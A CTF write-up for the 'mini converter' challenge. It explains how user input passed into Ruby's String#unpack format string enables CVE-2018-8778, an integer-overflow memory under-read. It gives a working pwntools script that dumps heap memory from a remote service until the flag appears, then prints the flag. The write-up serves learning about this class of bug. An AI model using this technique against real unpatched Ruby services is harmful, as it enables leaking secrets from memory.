Tags: ruby 1day 

Rating: 0

mini converter
==================

We are given the following Ruby code:
```ruby
flag = "FLAG{******************************}"
# Can you read this? really???? lol

while true

puts "[CONVERTER IN RUBY]"
STDOUT.flush
sleep(0.5)
puts "Type something to convert\n\n"
STDOUT.flush
puts "[*] readme!"
STDOUT.flush
puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a"
STDOUT.flush
puts "When you want to type string, just type string. e.g hello world"
STDOUT.flush
puts "When you want to type int, just type integer. e.g 102939"
STDOUT.flush

puts "type exit if you want to exit"
STDOUT.flush

input = gets.chomp
puts input
STDOUT.flush

if input == "exit"
file_write()
exit

end

puts "What do you want to convert?"
STDOUT.flush

if input[0,2] == "0x"
puts "hex"
STDOUT.flush
puts "1. integer"
STDOUT.flush
puts "2. string"
STDOUT.flush

flag = 1

elsif input =~/\D/
puts "string"
STDOUT.flush
puts "1. integer"
STDOUT.flush
puts "2. hex"
STDOUT.flush

flag = 2

else
puts "int"
STDOUT.flush
puts "1. string"
STDOUT.flush
puts "2. hex"
STDOUT.flush

flag = 3
end

num = gets.to_i

if flag == 1
if num == 1
puts "hex to integer"
STDOUT.flush
puts Integer(input)
STDOUT.flush

elsif num == 2
puts "hex to string"
STDOUT.flush
tmp = []
tmp << input[2..-1]
puts tmp.pack("H*")
STDOUT.flush

else
puts "invalid"
STDOUT.flush
end

elsif flag == 2
if num == 1
puts "string to integer"
STDOUT.flush
puts input.unpack("C*#{input}.length")
STDOUT.flush

elsif num == 2
puts "string to hex"
STDOUT.flush
puts input.unpack("H*#{input}.length")[0]
STDOUT.flush

else
puts "invalid2"
STDOUT.flush
end

elsif flag == 3
if num == 1
puts "int to string"
STDOUT.flush

elsif num == 2
puts "int to hex"
STDOUT.flush
puts input.to_i.to_s(16)
STDOUT.flush
else
puts "invalid3"
STDOUT.flush
end

else
puts "invalid4"
STDOUT.flush

end

end

```

Variable `flag`, which holds the flag string, is overwritten with either 1, 2 or 3 as our input type. Our job is to somehow recover that data.

The two conversion cases `"string to integer"` and `"string to hex"` immediately caught my attention since it looked *so offending*. Variable `input` which is completely controlled by our input is interpolated into [format string of String#unpack](https://www.rubydoc.info/stdlib/core/String:unpack) without any validation whatsoever.

The intended code is probably something like:
```ruby
input.unpack("C*#{input.length}")
```
instead of the given
```ruby
input.unpack("C*#{input}.length")
```

### **Format-string bug?**

After minutes of googling, I found a FSB-style vulnerability + integer overflow in `String#unpack` of Ruby version < 2.5.1 known as [CVE-2018-8778](https://nvd.nist.gov/vuln/detail/CVE-2018-8778). A good article explaining the vulnerability is located [here](https://blog.sqreen.io/buffer-under-read-ruby/).

The vulnerability can be used to acquire arbitrary read, as we can specify any offset and data length to read. By leaking heap memory of lower address, we are able to read the original flag.

Since `"string to integer"` case allows us to print a whole array instead of `"string to hex"` case which prints only the first element, the former is used. Below is the exploit code.

```python
from pwn import *

#context.log_level = 'debug'

p = remote('110.10.147.105', 12137)

p.recvuntil('to exit\n')

targlen = 0x10000
for i in range(1, 100):
payload = 'a @{}a{} '.format(2**64 - targlen*i, targlen + 0x100)
p.sendline(payload)
p.recvuntil('hex\n')
p.sendline('1')
print('memdump #{}'.format(i))
data = p.recvuntil('to exit\n')
if 'FLAG{' in data:
st = data.find('FLAG{')
print(data[st:data.find('}', st)+1])
break
```

The exploit code dumps `0x10100` continuous bytes at offset `-0x10000*i` in each loop. When the flag string prefix `'FLAG{'` is found, we print out until the matching end `'}'`.

**FLAG: `Run away with me.It'll be the way you want it`**